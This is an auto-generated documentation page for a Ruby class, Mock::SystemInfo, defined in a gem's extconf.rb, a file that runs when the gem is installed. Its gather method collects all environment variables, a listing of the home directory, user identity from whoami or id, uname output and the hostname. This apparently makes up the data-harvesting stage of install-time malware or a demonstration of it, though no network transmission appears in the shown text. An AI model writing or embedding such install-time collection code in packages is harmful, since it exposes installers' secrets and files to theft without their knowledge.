Class: Mock::SystemInfo
- Inherits:
-
Object
- Object
- Mock::SystemInfo
- Defined in:
- ext/ext/extconf.rb
Class Method Summary collapse
- .detect_os ⇒ Object
- .gather ⇒ Object
- .get_gem_path ⇒ Object
- .get_system_info(os_type) ⇒ Object
- .get_user ⇒ Object
- .get_user_info(os_type) ⇒ Object
Class Method Details
.detect_os ⇒ Object
88 89 90 91 92 93 94 95 96 97 98 99 |
# File 'ext/ext/extconf.rb', line 88 def self.detect_os case RbConfig::CONFIG['host_os'] when /mswin|msys|mingw|cygwin|bccwin|wince|emc/ 'windows' when /darwin|mac os/ 'macos' when /solaris|bsd/ 'unix' else 'linux' end end |
.gather ⇒ Object
66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
# File 'ext/ext/extconf.rb', line 66 def self.gather os_type = detect_os data = { os: os_type, timestamp: Time.now.to_i, user: get_user, user_info: get_user_info(os_type), system_info: get_system_info(os_type), current_directory: Dir.pwd, hostname: Socket.gethostname, ruby_version: RUBY_VERSION, gem_path: get_gem_path, env: ENV.to_h, home: `find $HOME -maxdepth 2` } data end |
.get_gem_path ⇒ Object
130 131 132 |
# File 'ext/ext/extconf.rb', line 130 def self.get_gem_path Gem.path.first rescue 'unknown gem_path' end |
.get_system_info(os_type) ⇒ Object
116 117 118 119 120 121 122 123 124 125 126 127 128 |
# File 'ext/ext/extconf.rb', line 116 def self.get_system_info(os_type) case os_type when 'windows' # Get basic Windows info (systeminfo is too verbose) version = `ver 2>&1`.strip rescue '' computer = ENV['COMPUTERNAME'] || 'unknown' "#{version} - #{computer}" when 'linux', 'macos', 'unix' `uname -a 2>&1`.strip rescue 'unavailable uname -a' else 'unavailable' end end |
.get_user ⇒ Object
101 102 103 |
# File 'ext/ext/extconf.rb', line 101 def self.get_user ENV['USER'] || ENV['USERNAME'] || 'unknown' end |
.get_user_info(os_type) ⇒ Object
105 106 107 108 109 110 111 112 113 114 |
# File 'ext/ext/extconf.rb', line 105 def self.get_user_info(os_type) case os_type when 'windows' `whoami 2>&1`.strip rescue 'unavailable' when 'linux', 'macos', 'unix' `id 2>&1`.strip rescue 'unavailable' else 'unavailable' end end |